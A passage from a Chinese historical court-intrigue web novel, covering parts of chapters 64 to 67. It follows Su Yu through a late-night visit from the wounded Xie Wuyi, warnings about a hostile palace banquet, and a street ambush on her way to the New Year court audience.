她没想到谢无衣会来,但来了,她也真的很高兴。 就是方式有点,呃,大半夜翻窗进闺房,要是传出去,对谢无衣是风流,对她是名声尽毁。 不过,也无所谓了,她现在还要什么名声。 绿川拿来药箱,苏钰本想给谢无衣包扎的,奈何她根本就不懂包扎,都不知道如何下手。 倒是绿川会些包扎之术,再加上她会做针线,手工精巧。 “你的匕首,是无相?”谢无衣说着。 苏钰在信里面提过,兄长送她一柄匕首,名曰无相,锋利无比。 刚才那一下,若是换成一般兵器,最多也就是划破衣服而己。 换成无相,一刀见血。若刚才划的是喉咙,多半是一刀封喉。 “你倒是识货。”苏钰说着,旁边站着看绿川给谢无衣包扎伤口。 无相划出来的伤口很深,就这么一会功夫,谢无衣半条衣袖都被染红。 苏钰看着伤口,内疚又心疼,“疼不疼,要不要上麻药?” 男子汉大丈夫,这种时候哪怕要疼死了,也不能喊疼,谢无衣云淡风清说着,“一点小伤,我是武职,又不是娇滴滴的少爷,受伤都习惯了。” 正处理伤口的绿川犹豫说着,“这伤口长,又太深,得缝合。” “那就缝吧。”谢无衣不当回事说着,“就这么缝,不用上麻药。” 绿川大松口气,她不懂麻药用量,也不敢乱用。现在谢无衣自己说了,不用麻药,“好,依谢大人的,不上麻药。” 绣花针烤一烤,一针扎上去,谢无衣脸孔有一瞬间的扭曲。 好疼,果然是苏钰的丫环,跟主子一样没人性, 还真不用麻药。 “你还好吧?”苏钰看谢无衣脸色不对。 谢无衣笑,“能有什么事,我好的很。” 苏钰古怪的看着他,看在这一刀是她划的份上,她就不说什么了。 幸好绿川手巧,缝合的很快。 “你回去之后,最好让府里的大夫看看。”苏钰说着。 谢无衣放下胳膊,“我都说了一点小伤,哪里这么记挂了。” 苏钰把玩着无相,“我还是第一次用它,没想到就在你身上留了伤口。” “这么说来还是我的荣幸。”谢无衣笑着说,“可否让我看看这匕首是什么模样。” 苏钰信上说是兄长所赠,这个兄长不可能是考上状元的叶峰,多半是苏家大爷苏略。 能让苏略送妹妹的东西,肯定不是俗物。 苏钰把无相递给他,“兄长送我防身用的,我一直放到枕头下面,听到有动静就拿起来了。” 谢无衣听得点点头,“如此警觉才好。” “你是觉得,会有人来杀我?”苏钰说着。 谢无衣把匕首还给苏钰,“有备无患。” 苏钰不说话了。 连谢无衣都觉得她被人刺杀很正常,看来慕容宁行事,比她想像中的还要招人恨。 “一成不变的生活多没意思,当个闺阁小姐本就不适合你。”谢无衣说着,“难道你还想着,像个普通闺秀那样,千方百计嫁个好丈夫,相夫教子,贤良淑德。” 就比如嫁给薛迟那样的,只是想一下,就会觉得很窒息。 “我没想过嫁人。”苏钰说着。 以前只是自己不想,以后估计苏家人也不想了,倒是省得催婚了。 “呃,还是要嫁的,挑个合适的就好了。”谢无衣说着。 苏钰听得笑了,“谢谢,有被你安慰到。” “其实,我能明白慕容大人的做法。”谢无衣说着。 苏钰期待的看向谢无衣,“说来听听。” 慕容宁绝不会为自己分辩,哪怕对方是自己的亲生女儿。 她需要有人为慕容宁分辩,她需要了解慕容宁。 “京城的衙门,尤其是武职衙门,最重要的是立威。”谢无衣说着。 建章骑营和监察寮离的很近,说起来是邻居,多少了解些。 一个向来没有存在感的小透明部门,想振兴就要靠强人,铁腕手段,以暴立威。 要是这个强人是薛驸马那种五大三粗的大男人,手段粗野一点还能凑和。 但慕容宁是女人,面对是监察寮一群身世粗鄙,行动狠辣的恶徒。冯决的身世在监察寮里是数一数二的好,其他人的出身可以想像。 想立威,想服众,慕容宁需要拿出手段,以暴制暴,以恶制恶,想一身正气在监察寮当大佬,根本就不可能。 慕容宁接下这个职务的时候,应该就有心理准备。 “我明白,这是母亲的选择。”苏钰说着。 谢无衣道:“慕容大人并非池中物,哪怕是王妃之尊,也有自己的追求。” 人不能为富贵权势活着,或者说,人需要自己能完全主导的权势。 楚王妃这种尊荣,只是尊荣而己。与现在的生杀大权在手,完全不是一回事。 慕容宁选择了后者,虽然世人多误解,但每个人都有选择自己生活方式的权利。 只要自己能承担后果就可以,旁人说什么皆无所谓。 苏钰沉默许久,“跟我讲讲监察寮吧,你好像挺了解的。” 谢无衣开始讲起,从监察寮创立之初,讲到慕容宁当了正使后办的几个案子。 因为慕容宁上任的时间短,讲起来倒是挺快。 目前的监察寮的性质相当于皇帝的御用打手,与刑部,大理寺同级。 但监察寮办案,刑部,大理寺是不敢过问的。就比如冯家的事,到目前为止,冯家到底犯了什么事,官方甚至都没有说法。 苏钰默默听着,她好像有点点了解慕容宁了。 “这,没有茶水吗?” 讲了许久,谢无衣忍不住说着,口都要干了。 苏钰这才想起来,吩咐绿川倒茶。 绿川只得去倒茶,她站这么久没倒茶,不是因为偷懒,而是看着相谈甚欢的两人,心中几乎要咆哮。 经过通报进门,家长允许的情况下,未婚男子都不好在未婚女子的闺房久会。 苏钰和薛迟算是交往甚密了,薛迟还没进过苏钰闺房。 外男也就关子烨进来过,还是因为三太太想保媒的缘故。 现在大晚上,谢无衣翻窗进来,不想惊动别人,甚至帮忙处理伤口可以理解,但一副打算彻夜长谈算是怎么回事。 要是被人发现,被人发现……就只能嫁给谢无衣。 不过,这样似乎也不错,总比苏钰一直喊着不结婚强。 “时候不早了……” 上茶时,绿川忍不住小声说。 一语提醒了谢无衣,要是被薛附马发现他半夜偷溜出来找苏钰,又得是一场大闹,便道:“我得回去了,改天再来看你。” 苏钰这才惊觉时间是不早了,不知不觉中竟然与谢无衣说了这么许久。 这好像是他们之间,第一次如此安静的谈话。 “今天谢谢你。”苏钰真心道谢。 从这一刻起,谢无衣就是她的好友,真心相交的好友。 谢无衣不当回事的摆摆手,“有事记得打发人寻我。” “嗯。”苏钰点头,倒是没跟谢无衣客气。 建章骑营,天子近侍,也管京城治安。 她目前的情况,真的有可能需要建章骑营的帮助。 谢无衣起身走向窗户,翻窗要走时,突然道:“还有一件事。” 也是这趟过来的重要目的。 “什么?”苏钰问。 谢无衣神情严肃,却带着一丝古怪,“我不会跟雨梓定亲的。” 这是晋阳长公主想出来的障眼法,要是能成真,当然就更好了。薛雨梓在公主府长大,知根知底,各方面都挺好。 他快气死了,但又堵不住晋阳长公主的嘴。 “啊,呃……” 苏钰愣了一下,她听到消息时就觉得是假的,但谢无衣特意跟她解释,呃,这…… “走了。” 谢无衣别开脸几乎不敢看苏钰,他定不定亲,关苏钰什么事啊,他为什么要说。 好像害羞似的,谢无衣迅速翻窗离开。 第65章 第 65 章 后半夜才入睡,苏钰…… 后半夜才入睡, 苏钰第二天起的迟。 睁开眼,小丫头侍侯梳洗时,绿川就道,“早上三太太派人来传话, 请姑娘闲了过去一趟。” 苏钰想不出关氏寻她什么事, 但都没叫醒她, 肯定不是急事, 便道:“那就吃了饭过去。” 早饭中饭一起吃,可能跟谢无衣的开解有关系, 苏钰心情舒解了许多,胃口也好了。 难得的大晴天,一直憋在屋里,苏钰换上外出的衣服,车也懒得坐, 带上绿川步行去了玉粹堂。 此时玉粹堂里正忙碌着,临近过年当家太太事务最多时。从早上起,管事娘子川流不息, 也就吃饭的时候能休息一会。 “大姑娘来了……” 小丫头传话, 关氏挥手让正说话的管家娘子退下。 苏钰进屋, 管家娘子带着人从后门出去。 “见过三太太。”苏钰进门见礼。 关氏看着她,上下打量着, “今天见你精神好多了。” 因为慕容宁的事, 别说她这个不怎么来往的婶娘,就是苏天佑都不知道说什么好。 慕容宁那可是苏钰的亲娘,怎么说都不对。 “谢三太太关心,我现在挺好的。”苏钰笑着说。 关氏笑着,脸上却带着为难, “特意唤你来,是有一件事,宫里贵妃传话,今年宫宴要你参加。” 新年命妇入宫朝贺,例行赏宫宴,所有在京城的,五品以上诰命都要参加。 苏天佑二十六岁中榜眼,一路走到现在己经是三品吏部侍郎。 三品诰命在朝贺的贵妇里,也就是中等水平,跟着大部队走,别人做什么她就做什么。 本以为今年也是这么过了,没想到早上刚吃了早饭,宫里太监来传话,说是贵妃的意思,让苏钰破格参加。 关氏本想着人把苏钰叫过来一起听旨,太监却说不用,话带到苏家即可,让关氏转达。 贵妃懿旨,关氏哪里敢拂逆,但到底要不要参加。或者说苏钰有没有办法拒绝,就只看苏钰自己了。 “贵妃如此好意,只怕容不得我拒绝。”苏钰说着。 回想上回关太后、关贵妃召见时的情景,慕容宁与她同行,关贵妃的恶意都挡不住。 现在特意传旨,宴无好宴,但抗旨拒绝,只怕麻烦更大。 关氏对关贵妃的脾性她多少是知道的,拒绝了更麻烦,便问,“那这回入宫,你要与王妃同去吗?” 慕容宁是楚王妃,宫宴肯定要参加。 太监只说让苏钰参加,并没有说跟谁同路。 到楚王府过年,与母亲同路参加宫宴,关贵妃也挑不出错来。 “母亲并没有派人说起此事,多半不会与我同路。”苏钰说着。 她估摸着,慕容宁今年未必会以王妃的身份进宫朝贺。 再者,关贵妃特意派太监往国公府传话,而不是楚王府,打就是慕容宁不与她同路的主意。 “老太太有孝在身,不能进宫。”关氏说着,心中十分担忧,“你就同我一道吧。” 合适与苏钰同路的,除了慕容宁,还有一个人选,谷夫人。 一品诰命,臣妇的领头人,要带着众诰命向太后行礼。 不说谷夫人的心计手段如何,地位摆在这里,总比她强。 不巧的是谷夫人还在孝中,不能进宫朝贺。 关贵妃派来的太监,还特意去道乐堂慰问了谷夫人,还派下赏赐。 估摸着也是想看看谷夫人的身体状况,毕竟病了许久,看样子随时都有可能去。 关氏心里有数,不管是因为昭华公主喜欢薛迟,还是现在慕容宁的行事,苏钰此回进宫绝无好事。 倒不担心苏钰连累她,她也是姓关的,再怎么样贵妃太后都不会过份责罚。 她担心的是,宫中有变苏钰遭难时,她无能为力。 一般后宅事务她尚能料理,后宫里的刀光剑影,她就真的不行了。 “多谢三太太。”苏钰说着,“三太太不用为我担心,到时候我自会应对。” “唉,也是我无用,帮不了你。”关氏叹气说着。 苏玫之事,她们母女欠了苏钰许多,总是说要还,但每每苏钰有事,都在她能力范围之外,想帮忙都帮不上。 “三太太别这么说。”苏钰笑着说,“我还想问问三太太,入宫朝贺的规矩如何。” 关氏便与苏钰讲起规矩,新年时入宫朝贺以及领宫宴都是有流程的。所有人都按着流程走,哪里跪拜,哪里吃席。 吃完散场,各回各家时,因为人多,也要按照次序走。 “新年朝贺是宫里人最多的时候,人多事多,关贵妃行事跋扈,向来不在意外旁人。”关氏说着。 宫里的贵人那是高高在上的,与贵族圈里的妇人不同。 贵族圈里的女人,讲面子讲排场,同样的也讲道理,至少大面上过的去。就是要陷害栽赃,也得走个流程。 关贵妃是连流程都不走,当着所有人的面,说打就打,说骂就骂,拖出去打死都有可能。 天家高层,是真的不讲道理。 “我明白。”苏钰说着。 指望着靠守规矩小心谨慎,应对关贵妃是不可能的。 想想昭华公主,恶名在外全无顾忌,有个皇帝爹真的可以为所欲为。 关氏把新年朝贺的流程讲完,还画了皇宫的地图给苏钰,把贺朝要进入地方标出来。 “听说,宫里有贵人有孕。”苏钰说着。 召她进宫,然后把有孕妃嫔搞小产,嫁祸到她身上。 这种戏码虽然比较传统,但符合关贵妃的利益。 “是李常在和刘答应。”关氏说着,“两人原本只是宫人,因有孕而受封。” 母亲出身太低,就算是生下皇子,也没办法撼动关贵妃和三皇子。 单纯不想她们生孩子,关贵妃有的是办法。 显庆皇帝的后宫没几个人,倒不是显庆皇帝禁欲,而是他抠门,不舍得给位份。 宠幸宫女后,正常晋级官女子,然后,就没有然后了,只宠幸不给位份。 李常在和刘答应能升位份,还是因为有孕。 再就是几个年岁较长的嫔,虽然无子女,却因为出身好,熬出来的位份。 关贵妃在后宫中那是一枝独秀,封后的话题几年就要议一次。 “原来如此。”苏钰有几分明白了。 想到那天慕容宁说过的,以显庆皇帝的年龄,他想要孩子很简单。 现在想来,关贵妃就是想打胎,只怕也忙不过来,反倒会忙中出错。 关氏又讲了许多宫中之事,苏钰听到半下午才回听雨轩。 醒来的好心情早就没了,对于几日后的宫宴,苏钰并不害怕,只是有些疑惑。 眼看着要到晚饭时间,就有婆子过来传话,“老太太请大姑娘过去吃饭。” 苏钰微微一怔,“我这就过去。” 坐车到乐道堂,苏钰进屋时,花厅正在摆饭,谷夫人朝她招招手。 “老太太。”苏钰笑着走过去,看着满桌佳肴,“老太太还记得我喜欢什么的。” 她与谷夫人相处时间并不长,尤其是当时杨家情况复杂。 这种情况下,谷夫人还记得她的喜好,实在难得。 “坐吧。”谷夫人示意苏钰坐下来,“先吃饭。” 祖孙俩一起吃饭,一时饭毕,小丫头们收拾桌子,苏钰扶着谷夫人到暖阁坐下。 “今天贵妃娘娘派人来,还赏了东西,说是看看我。”谷夫人笑着说。 大概是关太后的意思,看她的身体状况,是不是真的要死了。 “三太太与我说了。”苏钰有几分打趣说着,“贵妃突然传话,让我破例参加新年朝贺。我想着,她总不至于把我当场格杀吧。” 前不久才被召见,当时关太后都在。 当时慕容宁己经向关太后保证,不管薛迟还是谢无衣,她都不嫁。 甚至借了圣和师太的名声,说她不宜早嫁,婚事以后再说。 这回又要她进宫,还是新年朝贺,总不能还是因为这事。 要是因为慕容宁,觉得慕容宁不听话,拿她给慕容宁一个下马威。 一般的欺负整治,只怕慕容宁眼皮都不会抬一下,反而会把恩怨结的更大。 能让慕容宁动容的,只有杀了她泄愤。 “她不敢。”谷夫人神色认真,“贵妃娘娘虽然行事鲁莽,却不是无智之人。” 就是关贵妃无智,关太后还活着。 杀了苏钰,这是要逼苏天翊造反,关太后不会这么做。 “那是打算整治我一番,给昭华公主出出气?”苏钰说着。 “应该不是,贵妃娘娘性格直爽,行事甚少迂回。”谷夫人说着,“此番要你进宫,只怕是宫中会有变故,也顺道帮你保媒。” “保媒?”苏钰听得皱眉。 关贵妃要给她“保媒”?只怕不是一般意义上的保媒。 大概率是男女并处一室,再猛点就下药,趁着进宫贺朝的人多,再来个抓奸毁她名声不说,还要趁机指婚,让她一定嫁出去。 只要她嫁人了,与薛迟也就再无瓜葛了。 逻辑没有问题,就是手段如此直接,她反倒没往上面想。 “以你的身手和反应,应对起来应该不难。”谷夫人说着。 关贵妃说好一点是凶残有手段,难听一点就是脑子空空,因为想的太少,就只能行动补全。 对于关贵妃,想太多没用,简单直接是她的风格。 “我明白了。”苏钰心里有数了。 谷夫人笑着说,“你素来聪慧,我倒是不担心你吃亏。只是宫里不比外头,凡事谨慎为上。” “是,我都记下了。”苏钰说着,却突然灵光一闪,“薛迟会去吗?” 谷夫人微微皱眉,“会去。” 晋阳长公主虽然不是关太后所出,与显庆皇帝也非一母同胞,但她在公主里是受宠的。 每逢年节均会带着薛驸马以及薛迟进宫,新年朝贺这种大场合更不必说。 “薛迟经常进宫吗?”苏钰问。 万一昭华公主打算跟薛迟来个生米煮成熟饭…… “他时常进宫,甚得圣心。”谷夫人说着。 一个薛迟,一个谢无衣,年轻臣子里面最得宠。 苏钰稍稍有些放心,既然是常进宫,机会多的很,没必要挑这个日子。 或者,这个日子人最多,薛迟不能不娶? 谷夫人看她沉思的模样,轻轻叹口气,语气中透着规劝,“钰姐儿,你就听一句劝,离薛迟远一些。” 第66章 第 66 章 临近新年,京城大小…… 临近新年, 京城大小衙门都关门了,陈平依然在忙碌。 薛迟还在忙,陈平自然得更忙,至少表现的更忙。 “大人……”陈平一脸小心翼翼。 自从送到国公府的东西被拒收后, 薛迟脸上不显, 但情绪明显不佳。 书桌上放着苏钰写的信, 就这么几张纸, 翻来覆去看那么多遍了,他都担心再翻翻都烂了。 “冯家的案子, 监察寮给出了通告。”陈平说着,把卷宗呈上,“是十年前,西蜀军需大案。” 十年前,西蜀十万精兵攻打大周, 一代名将梅将军临危受命。 战事焦灼,仗打了一年多,当时朝廷上下都以为胜利是时间问题。西蜀国小力弱, 经不起这样战事消耗。 没想到的是, 西蜀还能撑住, 大周先撑不住了。 粮草不够,大军几乎到了啃树皮的地步。 朝廷拨的粮草车是到了, 但送来的并不是粮草。 先是以粗糠掺杂于细粮, 后来就是泥沙,最后甚至都是石头,一粒粮都没有。 吃都吃不饱,战事连连失利,显庆皇帝大怒。 但战争不是发火就可以解决, 不得以向西北王庭借兵,总算是把西蜀打回去。 战事结束,梅将军被押解回京,开始诉说粮草被换之事,当时掌管此事的,乃是户部尚书。 户部坚持粮草送到了,而且都是上等粮。因双方各持一词,显庆皇帝着大理寺查办。 当时的户部尚书是太后亲信,大理寺哪里敢真查。一拖一二三,再拖四五六。 拖了两年,拖到显庆皇帝不问了,也就草草结案了。 冯大老爷当时在户部任职,虽然官职不大,却掺与其中。 慕容宁重查此案,自然从他下手,再就是他同在户部任过职的同撩亲友。 “翻查旧案,倒是很好的切入点。”薛迟说着,打开卷宗。 旧案牵扯旧人旧事,又因年代久远,就是想攀扯谁也容易。 陈平道:“慕容大人会查此案,倒不意外。要不是此案……” 苏天翊无故休妻离京后,当时的西北王是写过奏书的,希望慕容宁回西北,不再留京城。 当时显庆皇帝都要答应了,边疆来报,大周与西蜀战事紧张。 这个时候,楚王爷向慕容宁提亲,关太后顺势再次指婚把慕容宁留在京城。 说是当王妃,其实有点当质子的意思。 慕容宁再嫁的消息传到西北,西北王庭派出大军与梅将军合作,击退西蜀。 成为楚王妃的慕容宁,享受着王妃的尊荣,楚王爷待她确实很好,但回家之路也是因此断绝。 这么些年来,当了王妃的慕容宁从来没有闲着过,相比当苏大太太时的贤良淑德,那可谓是能干又张扬。 直至今年成为监察寮正使,对京城的官场是意外又不意外。 以她的能力,以及当王妃后的行事风格,肯定不安于后宅。 意外的是,她是个女人,还是外族质子。 冯家之事,是慕容宁上任后的第一次重拳出击。 针对的是十年与自己息息相关的旧案,只怕心中也是有怨的。 不出那样的意外,战事平稳,她当年有机会回家。 现在调查结果出来,当年战事失利,确实是因为户部贪了粮草,致使军中无粮。 虽然事隔十年,但监察撩的手段,让冯大老爷想过了许多事。 冯家的宾客中也有掺于此事者,一并招供,人员名单全部列出来。 因牵扯甚广,慕容宁请旨,年后监察寮汇合刑部,大理寺共同审理。 显庆皇帝己经准了。 “竟然还有这样的事。” 薛迟有些意外,慕容宁留京为质子他是知道的。 他不知道的是,显庆皇帝竟然想过放她走。 西北王族投靠大周,说是臣子,更像是藩国,有自己的独立武装,这点是大忌。 “监察寮公布了涉案人员名单。”陈平说着,心中带着疑惑,“年后才审,现在就公布名单……” 提前公布枪毙名单,这是要给犯人交代后事的时间吗,还是想着马上就要过年了,好歹吃了过年这碗团圆饭再死。 看不出来,慕容宁还有如此善心。 “大概是觉得京城的水还不够浑,十年前的旧事,总会有遗漏之处。先把名单拉出来,上面的人自然会着急,着急就会出错,出错就会错更多。”薛迟说着。 这是一步好棋,但能不能走好,尤其还要刑部,大理寺会审,就要看慕容宁的本事。 陈平马上反应过来,“下官明白,下官会盯紧他们,一有动向马上汇报。” 薛迟点点头,他也好奇,慕容宁会把这桩军需案办到什么程度。 “还有一件事,宫里贵妃娘娘突然传话,让苏姑娘破例参加今年新年朝贺。”陈平说着。 虽然薛迟没吩咐,但国公府的一举一动,他都派人盯着。 贵妃娘娘派了太监过去传话,关氏接的懿旨。 “又进宫?”薛迟皱眉,“没推辞吗?” 上回有慕容宁陪同,这回是她一个人去? 陈平摇摇头,“国公府三太太也姓关,对贵妃的性情多少知道些,只怕是不敢推辞。” “慕容宁如此行事,她心中肯定难受。”薛迟脸色难看,“这时候又特意召她进宫,关贵妃到底想做什么。” 牵扯后宫,又牵扯到苏钰,陈平哪里敢乱说话,低头不语。 “公主驾到……” 门口小厮一声传通,晋阳长公主扶着丫头进来,薛迟起身相迎。 “拜见长公主。”陈平见礼。 “都下去吧。”晋阳长公主挥手说着。 陈平在内,一干下人退出屋内,晋阳长公主的心腹婆子把门关紧,守在门口。 “您请坐。” 薛迟说着,自己先坐下了,晋阳长公主这才在次席坐下来。 下人都出去了,没人上茶,晋阳长公神色犹豫,声音也不似往常那般,带着几分小心翼翼,“太后召见,我刚从宫里回来。” 薛迟并不意外,“因为我的婚事?” “是,也不是。”晋阳长公主说着,语气中透着古怪,“是三皇子的婚事。太后的意思,三皇子今年己满十五岁,也该议亲了,想让我做媒。” 薛迟皱眉,却没言语,等待晋阳长公主的下文。 晋阳长公主神情越发犹豫,好像上刑了一般,吱唔说着,“贵妃说,苏家大姑娘,才貌双全,堪配三皇子。” 薛迟脸色顿时变了,猛得站起身来,虽没说话,脸上戾气尽显。 晋阳长公主吓了一大跳,也跟着站起身来,却是解释着,“贵妃应该无意给三皇子选定苏姑娘,只是你拒绝了昭华公主的婚事……” 昭华公主为此跟太后和贵妃哭闹不己,贵妃也因为爱女被拒婚而脸上无光。 也不知道谁出的主意,薛迟既然不想娶昭华公主,那也别想娶苏钰,绝不能让薛迟好过。 薛迟脸色稍缓,却依然怒气难消,“她最好没有这个心思。” 晋阳长公主看一眼薛迟,意味深长说着,“苏姑娘的母亲出身外族,我朝虽有不少外族来的妃嫔,封至贵妃的也不少,却从来没有皇后。更没有外族血统的太子。” 和亲的,进贡的,皇帝莫名其妙看上的,女子进后宫没有限制。孩子也是随便生,封公主封亲王都没有问题。 但皇后、太子意味着国本,不能乱来。 太后姓关,贵妃也姓关,虽然因故没有封后,却是后宫实际的管理者。 三皇子做为显庆皇帝目前唯一的健康的成年儿子,不管太后还是贵妃都希望三皇子更进一步成为太子。 苏钰要是家世差些,还可以指为侧妃。就是不愿意,强行指婚,谁敢抗旨。 但苏天翊和慕容宁哪个好惹,让他们的女儿当侧妃,关太后都不敢。 而选苏钰当正妃……又事关血脉正统,怎么都不合适。 “我心中有数。”薛迟说着,脸色难看却坚定,“我无意此时娶亲,不管谁来说,都请您拒绝。” “我也是这个意思。”晋阳长公主说着,“我跟太后说了,你八字不宜早娶,再等几年都使得。” 最好等薛迟对苏钰的感情过去,两人丢开手各自婚嫁,对谁都好。 楚王爷一无所知跑来给苏钰说媒时,她就觉得不合适。 当时还想着楚王爷是真糊涂蛋,哪里想到,薛迟和苏钰竟然真…… 唉,都是冤孽。 “有一件想麻烦您。”薛迟说着,“关贵妃突然传懿旨,让苏姑娘破格参加新年朝贺。我不知其意为何,但宴无好宴,我想请您帮我多照顾她。” 晋阳长公主听得一阵牙疼,但薛迟都开口了,强笑着道:“这是自然。” 真心希望慕容宁参加宫宴,有她在,苏钰就是有事,也与她无关了。 “今年宫宴,无衣会参加吗?”薛迟突然问。 晋阳长公主道:“往年他是不去的,自从领了建章宫骑的差使,要巡逻还有新年的仪仗。宫宴时虽然也在宫里,多半不会参加。” 天子近侍有一个重要工作,就是皇帝正装出行的仪仗队。 新年朝贺,太庙祭祖,一系列活动,建章骑营都得跟着。 过年这段时间,是谢无衣最忙的时候。 “那就让他安排巡逻时多用心。”薛迟说着。 晋阳长公主顿时明白了,“我知道了,我会好好叮嘱她。” 第67章 第 67 章 转眼到了除夕,苏钰早早…… 转眼到了除夕, 苏钰早早起床,匆匆吃了早饭就开始梳妆。 幸好有上一次进宫的经历,这回装扮起来就快多了。 卯时刚过,就有婆子来传话, “三太太己经动身去二门。” “我马上走。”苏钰说着。 除夕的宫宴是在中午, 只是进宫, 就要提前这么多。 苏钰到二门时, 关氏己经在车上。 大品梳妆,头上几斤重, 身上也不轻。三品诰命的妆扮算是轻松的。 要是换成谷夫人,一品诰命夫人,一身上下几十斤,只是全身行头站半天,都能要半条命。 “三太太。” 苏钰向关氏见礼后, 上了另外一辆车。 按关氏的意思,俩人同车更方便,苏钰想了想还是觉得分开坐更好。 国公府车驾多, 关氏也就随她了。 两辆大车一前一后刚出角门, 就见苏邑骑在马上, 身侧跟着十几个护院,正等着两人。 “我护送三太太和姐姐去皇城。”苏邑说着。 今年二房在叶家过年, 一直没回国公府住。但苏钰要进宫朝贺这么大的事, 苏天华还是知道的。 诰命要领宫宴,官员也得吃宫宴。只是两边宴席的地点不同,时间不同,行走路线也不同,各走各的更方便。 苏震岳带队, 苏天华,苏天佑,叶峰己经出发,留下苏邑护送关氏和苏钰。 “劳烦你了。”关氏笑着说。 苏钰却是小声说着,“多留心些,若是有事,保护好三太太,不必管我。” 这些天来,她一直没出门,这回是不得不出门,只希望能平安无事。 若是有事,她也能应对。 “放心吧,我都安排好了。”苏邑拍着胸脯保证。 苏邑前头引路,随行护院跟在两辆大车周围,再加上国公府出行的仪仗,看起来是浩浩荡荡,十分风光。 排场大,车马就慢,苏钰坐在车里,却是留心外头的情况。 邸报她看了,慕容宁公布了名单,却要在年后与刑部,大理寺三堂会审。 这一手她都震惊了,更不用说被牵扯其中的京城官员。 京城马上就要大乱了。 如此想着,就听急切的马蹄声从远至近而来,苏邑大声喊着,“什么人,退下!” 苏钰打起车帘,就见一辆破旧马车,直朝他们冲来。没有看到车夫,只有狂奔的马匹。 果然,还是来了,苏钰竟然一点都不意外。 苏邑见状,从马背上一跃而起,手中长枪直向狂奔的马匹。 缨枪挑起,枪头直刺马头,一招之下,狂奔的马匹被斩杀,马车车身惯性翻倒。 “轰~” 车身翻倒瞬间,箭矢从四面八方而来,护院们早有防备,一波箭阵下来,有伤却无死。 糟糕的是,人受伤尚会害怕恐怕,马受惊后果更严重。 两辆大车的马匹均己受惊,这回的车夫都是护院,是跟随苏震岳多年,战场上退下来的老兵,经验老道,却依然手忙脚乱。 “慕容宁杀我家人,我要报仇!” 从高处传来的嘶喊声,大声诉说着这回刺杀的原由。 苏钰并不意外,只觉得二缺。 青天白日的搞刺杀,还要大声喊出来。 这里是京城,皇城边上,勋贵地界。就是不给京兆尹面子,还有御林军,建章骑章,一大堆武官保卫京城重地。 听声辩位,苏钰确定说话人的方位,手握无相从车厢中出来。 而随着她的出现,第二次箭矢随之而来,苏钰挡箭之余,开始观察四周。 这一番手段,花钱请来的亡命徒,可没那么整齐的规划。 只能是常年训练的府兵或者护院,京城里的大贵族才养的起。 “嘴上说着要报仇,你倒是露面啊。”苏钰开始挑衅,“不敢对我母亲动手,就冲着我来,这还如此藏头露尾,真小人也。” “慕容宁杀我亲友,我也要让她痛不欲生。”随着一声怒吼,左侧街楼上有一个人影飘然而下,手中长剑直劈苏钰。 苏钰反手握着无相,正欲格挡之际,就听急促的箭矢声,直冲来者。 是弩,五个只短箭射进对方胸口,一击毙命。 而就在此时,情况大逆转,原本藏在高处弓箭手们,尸体一个个被抛在地上。 “敢对苏钰动手,这是当我死了吗。” 儒雅的声音,哪怕是放着狠话,都给人一种如沐春风的温柔。 二十岁出头的年龄,月白外衣,青巾包头,长身玉立,儒雅而俊美的脸孔。尤其是一双桃花眼,好像看谁都是深情款款。 如此一身再普通不过的书生打扮,却掩不住他身上自内而外透出的贵气。 在这样充满杀戳,鲜血与死尸遍地的街道上,格外的不协议,却又存在的理所当然。 “大哥!” 苏钰笑着,快步跑了过去。 来者不是别人,正是苏天翊的养子,苏家大爷苏略。 苏略温柔笑着,眼中带着宠溺,想伸手摸摸苏钰的头,又看她一身正装打扮,便住了手,说着“明明知道有危险,却还坐车,应该坐轿。” 轿夫是人,在乱起来时候,大不了扔下轿子逃命。而马匹受惊,坐在车里的人就危险了。 “没想这么多。”苏钰说着。 被刺杀她也是第一次,有这次经验后,她就知道轿子的好处了。 “要进宫领宴,迟到了不好。”苏略说着,“你们去吧,后面的事我来处理。” 此时苏邑扶着快吓傻的关氏从车上下来,她是怎么都没想到,有人敢在进宫的路上埋伏。 怪不得苏邑带那么多护院,她果然是天真了,朗朗乾坤,天子脚下哪能发生这种事情。 满街的尸体,让她有点作呕,但名门贵妇的底气,让她强撑着站直了背脊。 “大哥。”苏邑笑着,脸上带着明显的紧张。 苏略对他不差,但没由来的,每每与苏略相处,他都觉得有点怵。 关氏强打起精神,“是大爷啊。” 对于大房的这位养子,因共同在国公府生活过,她是知道的。 苏略今年二十五岁,是苏天翊与慕容宁成亲前收养的。外界有说是苏天翊的私生子,苏略的模样与苏翊确实有点点相似。 而且当时苏天翊一个未婚男子,莫名其妙收养一个男孩,有点说不过去。 在苏钰八年岁的时候,苏略被苏天翊出族,连族谱上的名字都抹去了。 具体原因为何,苏天翊并没对外解释,倒是下人们一直有猜测。 慕容宁不喜欢苏略,认为他一个养子占了长子的位子,等她生下儿子后,反倒成了次子,于她十分不利。 这些年来慕容宁一直在针对苏略,终于被她寻到错处,赶走了苏略。 不过这些事非在苏天翊休妻离京之后,就彻底没了。 苏略放下京城一切,追随苏天翊离京,父子关系得己修复。 因为苏天翊未归,族谱上依然没有苏略的名字,却是公认的苏家大爷。 每到新年时,苏略必然回家,他以长子的身份代替苏天翊祭祀。 至于现在苏略有没有娶亲,在外头做什么,没人知道。 “三太太。”苏略礼貌问好,“是我来迟了,让您受惊了。” 关氏摇摇头,苦笑说着,“这是意外,倒是你能及时赶到,多谢。” “都是一家人,是我份内之事。”苏略说着。 苏钰把无相收好,嘴里说着,“不知道会不会迟到。” “迟到也没什么,宫里我打点过了。”苏略说着,又看向苏邑吩咐着,“我己着人备了轿子,这一路上也让人看过了,就麻烦你送三太太和钰姐儿过去。” 说话间,只见十六个衣冠整齐的小厮,抬着两顶八抬大轿从街角处过来。 “那我和三太太先进宫了,下午再寻大哥说话。”苏钰笑着说。 苏略点头。 关氏和苏钰上轿,苏邑骑马护送,至于跟随的护院,受伤的己经去医治,没事的继续同行。 等苏钰一行人走出街口,才有一个黑衣属下走到苏略跟前,低声汇报着,“查清楚了,是原户部尚书之子李甲派人做的。” 慕容宁查军需案,首当其中的就是当年的户部尚书。 十年过去,原户部尚书李大人己退休,却并没有归乡,一直留在京城。 给关太后当了这些年心腹,李家也从一般的小门小户成了书香门弟的大家族。 要说李尚书本人,人脉手段都是有的,偏偏有个傻儿子。 得知父亲的名字,在慕容宁公布的名单中,也不知道被谁挑唆了,劫杀苏钰给慕容宁好看。 就是杀不死苏钰,也得狠狠给她一个教训。 “果然是蠢货先来送死。”苏略说着。 神情依然儒雅,原本的温和却变成冷然,薄唇勾起一抹淡然的笑意,眼中却没有丝毫温度。 低声吩咐黑衣属下几句,黑衣属下脸上闪过一丝错愕,“京城……” 